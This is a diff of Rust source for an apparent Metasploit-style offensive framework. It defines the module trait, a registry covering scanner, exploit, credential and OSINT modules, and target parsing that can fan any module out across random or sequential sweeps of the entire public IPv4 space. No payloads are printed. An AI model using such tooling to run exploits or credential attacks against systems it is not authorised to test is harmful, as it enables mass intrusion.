#[serde(rename = "inputSchema")]
|
||||
pub input_schema: Value,
|
||||
}
|
||||
|
||||
/// Result payload returned by `tools/call`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolResult {
|
||||
pub content: Vec<ToolContent>,
|
||||
#[serde(rename = "isError", skip_serializing_if = "Option::is_none")]
|
||||
pub is_error: Option<bool>,
|
||||
}
|
||||
|
||||
/// A single content block inside a `ToolResult`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolContent {
|
||||
#[serde(rename = "type")]
|
||||
pub content_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
|
||||
impl ToolResult {
|
||||
/// Plain-text result.
|
||||
pub fn text(s: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: s,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Serialize any `Serialize` value into pretty-printed JSON text.
|
||||
pub fn json(v: &impl Serialize) -> Self {
|
||||
let text = serde_json::to_string_pretty(v).unwrap_or_else(|e| format!("{{\"error\": \"{}\"}}", e));
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Error result — sets `isError` to `true`.
|
||||
pub fn error(msg: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: msg,
|
||||
}],
|
||||
is_error: Some(true),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Resources
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `resources/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Resource {
|
||||
pub uri: String,
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
}
|
||||
|
||||
/// Content payload returned by `resources/read`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourceContent {
|
||||
pub uri: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
+710
@@ -0,0 +1,710 @@
|
||||
// src/module.rs
|
||||
//
|
||||
// Module trait + compile-time registry. Every module implements `Module`,
|
||||
// self-registers via `register_native_module!` (which expands to an
|
||||
// `inventory::submit!`), and gets dispatched by the unified `Scheduler`.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
|
||||
use anyhow::Result;
|
||||
use async_trait::async_trait;
|
||||
|
||||
use crate::module_info::ModuleInfo;
|
||||
|
||||
// ============================================================
|
||||
// CATEGORY
|
||||
// ============================================================
|
||||
|
||||
/// Module category — corresponds to `src/modules/<category>/`.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
|
||||
pub enum Category {
|
||||
Scanners,
|
||||
Exploits,
|
||||
Creds,
|
||||
Osint,
|
||||
Plugins,
|
||||
}
|
||||
|
||||
impl Category {
|
||||
pub const fn as_str(self) -> &'static str {
|
||||
match self {
|
||||
Self::Scanners => "scanners",
|
||||
Self::Exploits => "exploits",
|
||||
Self::Creds => "creds",
|
||||
Self::Osint => "osint",
|
||||
Self::Plugins => "plugins",
|
||||
}
|
||||
}
|
||||
|
||||
pub fn parse(s: &str) -> Option<Self> {
|
||||
match s {
|
||||
"scanners" | "scanner" => Some(Self::Scanners),
|
||||
"exploits" | "exploit" => Some(Self::Exploits),
|
||||
"creds" | "credential" | "credentials" => Some(Self::Creds),
|
||||
"osint" => Some(Self::Osint),
|
||||
"plugins" | "plugin" => Some(Self::Plugins),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Display for Category {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.write_str(self.as_str())
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// TARGET
|
||||
// ============================================================
|
||||
|
||||
/// A scan target. Replaces the loose `&str` plumbed through every module.
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum Target {
|
||||
/// Single host: `"10.0.0.1"`, `"example.com"`, `"[2001:db8::1]:80"`.
|
||||
Single(String),
|
||||
/// CIDR range, normalized: `"10.0.0.0/24"`.
|
||||
Cidr(String),
|
||||
/// Multiple targets — recursively any other variant.
|
||||
Multi(Vec<Target>),
|
||||
/// File containing one target per line (blank/comment lines skipped).
|
||||
File(PathBuf),
|
||||
/// Random public-internet scan.
|
||||
Random,
|
||||
/// Sequential public-internet sweep starting at the given IPv4 (as a u32),
|
||||
/// running in order up to the last public address.
|
||||
Sequential(u32),
|
||||
}
|
||||
|
||||
/// First public IPv4 address (`1.0.0.0`) — `0.0.0.0/8` is reserved.
|
||||
pub const FIRST_PUBLIC_IPV4: u32 = 0x0100_0000;
|
||||
|
||||
impl Target {
|
||||
/// Parse a raw user-supplied string into a `Target`. Delegates host/port
|
||||
/// validation to `crate::utils::normalize_target` and reuses
|
||||
/// `crate::utils::bruteforce::is_subnet_target` / `is_mass_scan_target`
|
||||
/// to stay consistent with the legacy dispatcher.
|
||||
pub fn parse(raw: &str) -> Result<Self> {
|
||||
let trimmed = raw.trim();
|
||||
if trimmed.is_empty() {
|
||||
anyhow::bail!("Target cannot be empty");
|
||||
}
|
||||
// `Target::Random` is the full-internet random sweep. It is triggered by
|
||||
// the markers `random`, `0.0.0.0/0`, and bare `0.0.0.0` (operator opt-in
|
||||
// 2026-06-09 — reverses the earlier M45 rule that made `0.0.0.0` a single
|
||||
// host). The scheduler shows a per-sweep advisory and, on an interactive
|
||||
// console, an explicit confirmation before it actually fans out (see
|
||||
// `fanout_random` / `fanout_sequential`). CIDR ranges and file paths are
|
||||
// handled below as `Cidr` / `File`.
|
||||
if trimmed == "random" || trimmed == "0.0.0.0/0" || trimmed == "0.0.0.0" {
|
||||
return Ok(Target::Random);
|
||||
}
|
||||
// Sequential full-public-IPv4 sweep: `seq`/`sequential` start at the
|
||||
// first public address; `seq:<ip>`/`sequential:<ip>` start at <ip>.
|
||||
let lower = trimmed.to_ascii_lowercase();
|
||||
if lower == "seq" || lower == "sequential" {
|
||||
return Ok(Target::Sequential(FIRST_PUBLIC_IPV4));
|
||||
}
|
||||
if let Some(rest) = lower
|
||||
.strip_prefix("seq:")
|
||||
.or_else(|| lower.strip_prefix("sequential:"))
|
||||
{
|
||||
let ip: std::net::Ipv4Addr = rest
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|e| anyhow::anyhow!("invalid sequential start IP '{}': {e}", rest.trim()))?;
|
||||
return Ok(Target::Sequential(u32::from(ip)));
|
||||
}
|
||||
if trimmed.contains(',') {
|
||||
const MAX: usize = 4096;
|
||||
let parts: Vec<&str> = trimmed
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|s| !s.is_empty())
|
||||
.take(MAX + 1)
|
||||
.collect();
|
||||
if parts.len() > MAX {
|
||||
anyhow::bail!("Too many comma-separated targets (max {})", MAX);
|
||||
}
|
||||
if parts.len() == 1 {
|
||||
return Self::parse(parts[0]);
|
||||
}
|
||||
let mut out = Vec::with_capacity(parts.len());
|
||||
for p in parts {
|
||||
out.push(Self::parse(p)?);
|
||||
}
|
||||
return Ok(Target::Multi(out));
|
||||
}
|
||||
// File targets must be detected before normalize_target rejects them
|
||||
// as containing path traversal. Only honour them when they actually
|
||||
// exist on disk and aren't a CIDR.
|
||||
if !crate::utils::is_subnet_target(trimmed) && std::path::Path::new(trimmed).is_file() {
|
||||
return Ok(Target::File(PathBuf::from(trimmed)));
|
||||
}
|
||||
if crate::utils::is_subnet_target(trimmed) {
|
||||
return Ok(Target::Cidr(crate::utils::normalize_target(trimmed)?));
|
||||
}
|
||||
Ok(Target::Single(crate::utils::normalize_target(trimmed)?))
|
||||
}
|
||||
|
||||
/// True if this target requires fan-out across many hosts.
|
||||
pub fn is_mass(&self) -> bool {
|
||||
matches!(
|
||||
self,
|
||||
Target::Cidr(_)
|
||||
| Target::Multi(_)
|
||||
| Target::File(_)
|
||||
| Target::Random
|
||||
| Target::Sequential(_)
|
||||
)
|
||||
}
|
||||
|
||||
/// Borrow the underlying single-host string, if any.
|
||||
pub fn as_single(&self) -> Option<&str> {
|
||||
match self {
|
||||
Target::Single(s) => Some(s.as_str()),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Render back into the canonical string form modules expect.
|
||||
/// `Multi` joins with `, `; `Random` becomes `"random"`; `File` becomes
|
||||
/// the file path. This is the value passed into legacy `run(&str)` shims.
|
||||
pub fn as_legacy_str(&self) -> String {
|
||||
match self {
|
||||
Target::Single(s) | Target::Cidr(s) => s.clone(),
|
||||
Target::Multi(parts) => parts
|
||||
.iter()
|
||||
.map(Self::as_legacy_str)
|
||||
.collect::<Vec<_>>()
|
||||
.join(", "),
|
||||
Target::File(p) => p.to_string_lossy().into_owned(),
|
||||
Target::Random => "random".to_string(),
|
||||
Target::Sequential(start) => {
|
||||
format!("seq:{}", std::net::Ipv4Addr::from(*start))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// OPTIONS
|
||||
// ============================================================
|
||||
|
||||
/// Typed module options. Replaces ad-hoc `args: &str` parsing.
|
||||
///
|
||||
/// Modules read with `opts.get_or("port", 22u16)` etc. Values are also fed
|
||||
/// into `RunContext.config.custom_prompts` so legacy `cfg_prompt_*` callers
|
||||
/// see the same answers.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct ModuleOptions {
|
||||
inner: HashMap<String, String>,
|
||||
}
|
||||
|
||||
impl ModuleOptions {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
|
||||
pub fn get(&self, key: &str) -> Option<&str> {
|
||||
self.inner.get(key).map(String::as_str)
|
||||
}
|
||||
|
||||
pub fn get_or<T: std::str::FromStr>(&self, key: &str, default: T) -> T {
|
||||
self.inner
|
||||
.get(key)
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(default)
|
||||
}
|
||||
|
||||
pub fn set(&mut self, key: impl Into<String>, value: impl Into<String>) -> &mut Self {
|
||||
self.inner.insert(key.into(), value.into());
|
||||
self
|
||||
}
|
||||
|
||||
pub fn iter(&self) -> impl Iterator<Item = (&String, &String)> {
|
||||
self.inner.iter()
|
||||
}
|
||||
|
||||
pub fn into_inner(self) -> HashMap<String, String> {
|
||||
self.inner
|
||||
}
|
||||
|
||||
pub fn from_map(map: HashMap<String, String>) -> Self {
|
||||
Self { inner: map }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// CAPABILITIES
|
||||
// ============================================================
|
||||
|
||||
/// Capabilities advertised by a module.
|
||||
///
|
||||
/// Mass-scan fan-out is **universal** — handled by `crate::scheduler` for
|
||||
/// every module. There is no per-module mass-scan flag any more; modules
|
||||
/// only ever see `Target::Single` per invocation.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct Capabilities {
|
||||
/// Module is rate-limit-friendly; safe to run with high concurrency.
|
||||
pub safe_for_high_concurrency: bool,
|
||||
/// Module needs root (raw sockets, ICMP, etc.).
|
||||
pub requires_root: bool,
|
||||
/// Module performs a non-destructive check and never writes to targets.
|
||||
pub check_only: bool,
|
||||
/// Module makes outbound network connections.
|
||||
pub network: bool,
|
||||
/// Module runs an interactive / long-lived session and manages its own
|
||||
/// lifetime — the scheduler must NOT wrap it in the per-target timeout.
|
||||
pub interactive: bool,
|
||||
}
|
||||
|
||||
impl Default for Capabilities {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
safe_for_high_concurrency: false,
|
||||
requires_root: false,
|
||||
check_only: false,
|
||||
network: true,
|
||||
interactive: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// FINDINGS / OUTCOME
|
||||
// ============================================================
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum FindingKind {
|
||||
Vulnerable,
|
||||
Credential,
|
||||
OpenPort,
|
||||
Banner,
|
||||
Note,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Finding {
|
||||
pub target: String,
|
||||
pub kind: FindingKind,
|
||||
pub message: String,
|
||||
pub data: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
/// Outcome of a module run. The scheduler routes findings into
|
||||
/// `LootStore`/`Workspace` automatically.
|
||||
#[derive(Debug, Default)]
|
||||
pub struct ModuleOutcome {
|
||||
pub success: bool,
|
||||
pub findings: Vec<Finding>,
|
||||
}
|
||||
|
||||
impl ModuleOutcome {
|
||||
pub fn ok() -> Self {
|
||||
Self {
|
||||
success: true,
|
||||
findings: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn fail() -> Self {
|
||||
Self {
|
||||
success: false,
|
||||
findings: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn with(mut self, finding: Finding) -> Self {
|
||||
self.findings.push(finding);
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// CONTEXT
|
||||
// ============================================================
|
||||
|
||||
/// Per-run module context. Constructed by the scheduler before `run` /
|
||||
/// `check`. Modules read everything they need from here — no global state,
|
||||
/// no string parsing, no ad-hoc parameter conventions.
|
||||
pub struct ModuleCtx {
|
||||
pub target: Target,
|
||||
pub options: ModuleOptions,
|
||||
pub cancel: tokio_util::sync::CancellationToken,
|
||||
pub batch_mode: bool,
|
||||
/// Prompt-harvest dry run. Before a mass-scan batch the scheduler runs the
|
||||
/// module once against a placeholder host purely to gather the operator's
|
||||
/// `cfg_prompt_*` answers (which get cached for the whole batch). When this
|
||||
/// is set, a module should answer its prompts and then return EARLY without
|
||||
/// any network work or file writes — the run exists only to populate the
|
||||
/// prompt cache, so any real effect against the placeholder host is wasted
|
||||
/// and misleading.
|
||||
pub prompt_only: bool,
|
||||
pub verbose: bool,
|
||||
/// Tenant identity (multi-tenant API isolation). `None` in CLI/shell mode.
|
||||
pub tenant_id: Option<String>,
|
||||
/// Optional shared prompt cache (mass-scan / CIDR runs share answers).
|
||||
pub prompt_cache: Option<crate::context::PromptCache>,
|
||||
/// Process-wide hierarchical rate limiter (global → per-module → per-target).
|
||||
/// Native modules call `ctx.rate_limit(target).await` before each network
|
||||
/// round trip.
|
||||
pub limiter: Arc<crate::rate_limit::GlobalLimiter>,
|
||||
/// Module path (`"category/name"`) — set by the scheduler before
|
||||
/// invoking `run` so the rate limiter can key per-module buckets.
|
||||
pub module_path: String,
|
||||
}
|
||||
|
||||
impl ModuleCtx {
|
||||
pub fn new(target: Target) -> Self {
|
||||
Self {
|
||||
target,
|
||||
options: ModuleOptions::default(),
|
||||
cancel: tokio_util::sync::CancellationToken::new(),
|
||||
batch_mode: false,
|
||||
prompt_only: false,
|
||||
verbose: false,
|
||||
tenant_id: None,
|
||||
prompt_cache: None,
|
||||
limiter: crate::rate_limit::shared(),
|
||||
module_path: String::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Acquire one permit at every rate-limit tier (global / module / target).
|
||||
/// No-op when all tiers have RPS = 0 (the default).
|
||||
pub async fn rate_limit(&self, target_host: &str) {
|
||||
self.limiter.acquire(&self.module_path, target_host).await;
|
||||
}
|
||||
|
||||
/// Spawn a tracked tokio task whose handle is registered on the
|
||||
/// active `RunContext`. The scheduler aborts every tracked spawn in
|
||||
/// `Module::cleanup`, so cancelled / failed runs don't leak orphan
|
||||
/// tasks. Falls back to a plain `tokio::spawn` when invoked outside
|
||||
/// a scheduled run.
|
||||
pub fn spawn<F>(&self, future: F)
|
||||
where
|
||||
F: std::future::Future<Output = ()> + Send + 'static,
|
||||
{
|
||||
crate::context::spawn(future);
|
||||
}
|
||||
|
||||
pub fn is_cancelled(&self) -> bool {
|
||||
self.cancel.is_cancelled()
|
||||
}
|
||||
|
||||
/// Convert into a `RunContext` for executing legacy modules.
|
||||
pub fn build_run_context(&self, target_str: String) -> crate::context::RunContext {
|
||||
let mut cfg = crate::config::get_module_config();
|
||||
// Surface ModuleOptions into custom_prompts so legacy `cfg_prompt_*`
|
||||
// callers see the operator's answers without further plumbing.
|
||||
for (k, v) in self.options.iter() {
|
||||
cfg.custom_prompts.insert(k.clone(), v.clone());
|
||||
}
|
||||
let mut rc = if let Some(cache) = &self.prompt_cache {
|
||||
crate::context::RunContext::with_prompt_cache(cfg, cache.clone(), target_str)
|
||||
} else {
|
||||
crate::context::RunContext::with_target(cfg, target_str)
|
||||
};
|
||||
rc = rc.with_cancellation(self.cancel.clone());
|
||||
rc.tenant_id = self.tenant_id.clone();
|
||||
rc.module_path = self.module_path.clone();
|
||||
rc
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// MODULE TRAIT
|
||||
// ============================================================
|
||||
|
||||
/// Every module implements this. Registered via `inventory::submit!`.
|
||||
#[async_trait]
|
||||
pub trait Module: Send + Sync {
|
||||
/// Static metadata (name, description, references, rank).
|
||||
fn info(&self) -> ModuleInfo;
|
||||
|
||||
/// Capabilities — defaults to "single-target, network-bound module".
|
||||
fn capabilities(&self) -> Capabilities {
|
||||
Capabilities::default()
|
||||
}
|
||||
|
||||
/// Pre-flight validation, run by the scheduler **once** per CLI/API
|
||||
/// invocation, *before* any per-host fan-out.
|
||||
///
|
||||
/// Use this to validate `ctx.options` (required wordlist exists,
|
||||
/// supplied port is in 1..=65535, root privilege available, etc.) so
|
||||
/// the operator gets a single error instead of `N` identical errors
|
||||
/// across `N` hosts in a /16 scan. Default: succeed.
|
||||
async fn pre_check(&self, _ctx: &ModuleCtx) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Cleanup hook, run by the scheduler **once** after the whole
|
||||
/// fan-out completes (or is cancelled). Use this to release
|
||||
/// long-lived resources (open files, persistent connections) that
|
||||
/// would otherwise leak.
|
||||
///
|
||||
/// `outcome` is the final aggregate (`success` count, total findings).
|
||||
/// Default: no-op.
|
||||
async fn cleanup(&self, _ctx: &ModuleCtx, _outcome: &ModuleOutcome) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run the module against `ctx.target`. The scheduler dispatches this
|
||||
/// once per host. Mass-scan fan-out is handled at the scheduler tier;
|
||||
/// modules only ever see `Target::Single` here.
|
||||
async fn run(&self, ctx: &ModuleCtx) -> Result<ModuleOutcome>;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// REGISTRY (compile-time, via `inventory`)
|
||||
// ============================================================
|
||||
|
||||
/// One entry per module — registered with `inventory::submit!`.
|
||||
pub struct ModuleEntry {
|
||||
pub category: Category,
|
||||
/// Slash-separated short name within its category, e.g. `"ssh/known_vuln"`.
|
||||
pub name: &'static str,
|
||||
/// Constructs the module instance. Modules are typically zero-sized.
|
||||
pub factory: fn() -> Box<dyn Module>,
|
||||
}
|
||||
|
||||
inventory::collect!(ModuleEntry);
|
||||
|
||||
/// Walk every registered module.
|
||||
pub fn registered() -> impl Iterator<Item = &'static ModuleEntry> {
|
||||
inventory::iter::<ModuleEntry>.into_iter()
|
||||
}
|
||||
|
||||
/// Look up a module by:
|
||||
/// - `"category/name/with/path"` (full match — exact `entry.name`),
|
||||
/// - `"name/with/path"` (any category — exact `entry.name`),
|
||||
/// - `"leaf"` (the part after the last `/` in `entry.name` — first match
|
||||
/// wins, matching legacy short-name behaviour).
|
||||
pub fn find(path: &str) -> Option<Box<dyn Module>> {
|
||||
let (maybe_cat, body) = match path.split_once('/') {
|
||||
Some((c, rest)) if Category::parse(c).is_some() => (Some(c), rest),
|
||||
_ => (None, path),
|
||||
};
|
||||
// Pass 1: exact match on entry.name (with optional category constraint).
|
||||
for entry in registered() {
|
||||
if let Some(c) = maybe_cat
|
||||
&& entry.category.as_str() != c && Category::parse(c) != Some(entry.category) {
|
||||
continue;
|
||||
}
|
||||
if entry.name == body {
|
||||
return Some((entry.factory)());
|
||||
}
|
||||
}
|
||||
// Pass 2: short-leaf match — final segment after the last `/` in `entry.name`.
|
||||
if maybe_cat.is_none() {
|
||||
for entry in registered() {
|
||||
let leaf = entry.name.rsplit('/').next().unwrap_or(entry.name);
|
||||
if leaf == path {
|
||||
return Some((entry.factory)());
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Total number of registered modules.
|
||||
pub fn count() -> usize {
|
||||
registered().count()
|
||||
}
|
||||
|
||||
/// All module paths in `category/name` form, sorted.
|
||||
pub fn all_paths() -> Vec<String> {
|
||||
let mut v: Vec<String> = registered()
|
||||
.map(|e| format!("{}/{}", e.category, e.name))
|
||||
.collect();
|
||||
v.sort();
|
||||
v
|
||||
}
|
||||
|
||||
/// Render a Markdown module catalog from the live registry. Used by
|
||||
/// `--gen-module-catalog` to replace the hand-maintained
|
||||
/// `docs/Module-Catalog.md`.
|
||||
pub fn render_catalog_markdown() -> String {
|
||||
let mut by_cat: std::collections::BTreeMap<&'static str, Vec<&'static ModuleEntry>> =
|
||||
std::collections::BTreeMap::new();
|
||||
for e in registered() {
|
||||
by_cat.entry(e.category.as_str()).or_default().push(e);
|
||||
}
|
||||
for v in by_cat.values_mut() {
|
||||
v.sort_by_key(|e| e.name);
|
||||
}
|
||||
|
||||
let total = registered().count();
|
||||
let mut out = String::new();
|
||||
out.push_str("# Module Catalog\n\n");
|
||||
out.push_str("> Auto-generated from the inventory registry by ");
|
||||
out.push_str("`rustsploit --gen-module-catalog`. Do not edit by hand.\n\n");
|
||||
out.push_str(&format!("**Total registered modules: {}**\n\n", total));
|
||||
|
||||
out.push_str(
|
||||
"All modules support mass scan universally — `random` / CIDR / file targets / \
|
||||
comma-separated lists fan out through `crate::scheduler::run` regardless of \
|
||||
the module.\n\n",
|
||||
);
|
||||
|
||||
for cat in ["scanners", "exploits", "creds", "osint", "plugins"] {
|
||||
let Some(entries) = by_cat.get(cat) else { continue };
|
||||
out.push_str(&format!("## {} ({})\n\n", cat, entries.len()));
|
||||
out.push_str(&format!("- {} modules\n\n", entries.len()));
|
||||
out.push_str("| Module | Description | Rank |\n");
|
||||
out.push_str("|---|---|---|\n");
|
||||
for e in entries {
|
||||
let inst = (e.factory)();
|
||||
let info = inst.info();
|
||||
let desc = info
|
||||
.description
|
||||
.lines()
|
||||
.next()
|
||||
.unwrap_or("")
|
||||
.replace('|', "\\|");
|
||||
out.push_str(&format!(
|
||||
"| `{}/{}` | {} | {} |\n",
|
||||
e.category.as_str(),
|
||||
e.name,
|
||||
desc,
|
||||
info.rank,
|
||||
));
|
||||
}
|
||||
out.push('\n');
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// PER-MODULE REGISTRATION MACRO
|
||||
// ============================================================
|
||||
|
||||
/// Generate a per-module `Module` impl + inventory registration that calls
|
||||
/// the module file's local `pub fn info()` and `pub async fn run(...)`. Used
|
||||
/// at the bottom of every module file.
|
||||
///
|
||||
/// Two body shapes are supported, picked via the trailing `native` token:
|
||||
///
|
||||
/// **Legacy shape (default — most existing modules):**
|
||||
/// ```ignore
|
||||
/// pub fn info() -> ModuleInfo { ... }
|
||||
/// pub async fn run(target: &str) -> anyhow::Result<()> { ... }
|
||||
///
|
||||
/// crate::register_native_module!(crate::module::Category::Scanners, "x");
|
||||
/// ```
|
||||
/// The macro translates `ctx.target → target_str` and discards return values
|
||||
/// into `ModuleOutcome::ok()`. No findings flow into the scheduler.
|
||||
///
|
||||
/// **Native shape (preferred for new modules and migrations):**
|
||||
/// ```ignore
|
||||
/// pub fn info() -> ModuleInfo { ... }
|
||||
/// pub async fn run(ctx: &ModuleCtx) -> anyhow::Result<ModuleOutcome> { ... }
|
||||
///
|
||||
/// crate::register_native_module!(crate::module::Category::Scanners, "x", native);
|
||||
/// ```
|
||||
/// The module receives `&ModuleCtx` directly and returns `ModuleOutcome`
|
||||
/// with `Finding` records. The scheduler routes findings into LootStore /
|
||||
/// Workspace / events automatically.
|
||||
///
|
||||
/// Both shapes share `RunContext` scoping + `abort_all_spawned()` cleanup
|
||||
/// so `cfg_prompt_*` / `ctx.spawn(...)` / `is_cancelled()` work uniformly.
|
||||
#[macro_export]
|
||||
macro_rules! register_native_module {
|
||||
($category:expr, $name:expr) => {
|
||||
$crate::__register_native_module_impl!(@no_check $category, $name);
|
||||
};
|
||||
($category:expr, $name:expr, native) => {
|
||||
$crate::__register_native_module_impl!(@native $category, $name, false);
|
||||
};
|
||||
// Interactive native module: the scheduler runs it without the per-target
|
||||
// timeout (it owns its own REPL / long-lived session lifetime).
|
||||
($category:expr, $name:expr, native, interactive) => {
|
||||
$crate::__register_native_module_impl!(@native $category, $name, true);
|
||||
};
|
||||
}
|
||||
|
||||
/// Internal macro arm — do not call directly; use `register_native_module!`.
|
||||
#[macro_export]
|
||||
#[doc(hidden)]
|
||||
macro_rules! __register_native_module_impl {
|
||||
(@no_check $category:expr, $name:expr) => {
|
||||
struct __ModuleImpl;
|
||||
impl ::std::default::Default for __ModuleImpl {
|
||||
fn default() -> Self { Self }
|
||||
}
|
||||
#[::async_trait::async_trait]
|
||||
impl $crate::module::Module for __ModuleImpl {
|
||||
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
|
||||
async fn run(&self, ctx: &$crate::module::ModuleCtx)
|
||||
-> ::anyhow::Result<$crate::module::ModuleOutcome>
|
||||
{
|
||||
let t = ctx.target.as_legacy_str();
|
||||
let rc = ctx.build_run_context(t.clone());
|
||||
let ctx_arc = ::std::sync::Arc::new(rc);
|
||||
let result = $crate::context::RUN_CONTEXT
|
||||
.scope(ctx_arc, async move {
|
||||
let r = run(&t).await;
|
||||
$crate::context::abort_all_spawned().await;
|
||||
r
|
||||
})
|
||||
.await;
|
||||
result?;
|
||||
::std::result::Result::Ok($crate::module::ModuleOutcome::ok())
|
||||
}
|
||||
}
|
||||
inventory::submit! {
|
||||
$crate::module::ModuleEntry {
|
||||
category: $category,
|
||||
name: $name,
|
||||
factory: || ::std::boxed::Box::new(__ModuleImpl),
|
||||
}
|
||||
}
|
||||
};
|
||||
// Native shape: `run(ctx) -> Result<ModuleOutcome>`.
|
||||
(@native $category:expr, $name:expr, $interactive:expr) => {
|
||||
struct __ModuleImpl;
|
||||
impl ::std::default::Default for __ModuleImpl {
|
||||
fn default() -> Self { Self }
|
||||
}
|
||||
#[::async_trait::async_trait]
|
||||
impl $crate::module::Module for __ModuleImpl {
|
||||
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
|
||||
fn capabilities(&self) -> $crate::module::Capabilities {
|
||||
$crate::module::Capabilities {
|
||||
interactive: $interactive,
|
||||
..::core::default::Default::default()
|
||||
}
|
||||
}
|
||||
async fn run(&self, ctx: &$crate::module::ModuleCtx)
|
||||
-> ::anyhow::Result<$crate::module::ModuleOutcome>
|
||||
{
|
||||
// Keep `RunContext` scope so `cfg_prompt_*` / `is_cancelled()`
|
||||
// helpers used inside the body still resolve. Pass the
|
||||
// canonical target string for compatibility with helpers
|
||||
// that read `RunContext.target`.
|
||||
let t = ctx.target.as_legacy_str();
|
||||
let rc = ctx.build_run_context(t);
|
||||
let ctx_arc = ::std::sync::Arc::new(rc);
|
||||
let outcome = $crate::context::RUN_CONTEXT
|
||||
.scope(ctx_arc, async move {
|
||||
let r = run(ctx).await;
|
||||
$crate::context::abort_all_spawned().await;
|
||||
r
|
||||
})
|
||||
.await?;
|
||||
::std::result::Result::Ok(outcome)
|
||||
}
|
||||
}
|
||||
inventory::submit! {
|
||||
$crate::module::ModuleEntry {
|
||||
category: $category,
|
||||
name: $name,
|
||||
factory: || ::std::boxed::Box::new(__ModuleImpl),
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
use colored::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Module metadata — returned by optional `pub fn info() -> ModuleInfo` in modules.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ModuleInfo {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
pub authors: Vec<String>,
|
||||
/// CVE IDs, URLs, EDB references, etc.
|
||||
pub references: Vec<String>,
|
||||
/// ISO date string, e.g. "2024-01-15"
|
||||
pub disclosure_date: Option<String>,
|
||||
pub rank: ModuleRank,
|
||||
/// Default service port for this module (used by scheduler for mass-scan
|
||||
/// pre-checks when the operator hasn't set `setg port`).
|
||||
#[serde(default)]
|
||||
pub default_port: Option<u16>,
|
||||
}
|
||||
|
||||
/// Reliability/safety rank for modules (inspired by Metasploit ranking).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ModuleRank {
|
||||
/// Reliable, no crash risk
|
||||
Excellent,
|
||||
/// Usually works
|
||||
Great,
|
||||
/// Default rank
|
||||
Good,
|
||||
/// May cause instability
|
||||
Normal,
|
||||
/// Rarely works
|
||||
Low,
|
||||
/// Requires manual steps
|
||||
Manual,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ModuleRank {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
ModuleRank::Excellent => write!(f, "Excellent"),
|
||||
ModuleRank::Great => write!(f, "Great"),
|
||||
ModuleRank::Good => write!(f, "Good"),
|
||||
ModuleRank::Normal => write!(f, "Normal"),
|
||||
ModuleRank::Low => write!(f, "Low"),
|
||||
ModuleRank::Manual => write!(f, "Manual"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Pretty-print module info to the console.
|
||||
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
|
||||
println!();
|
||||
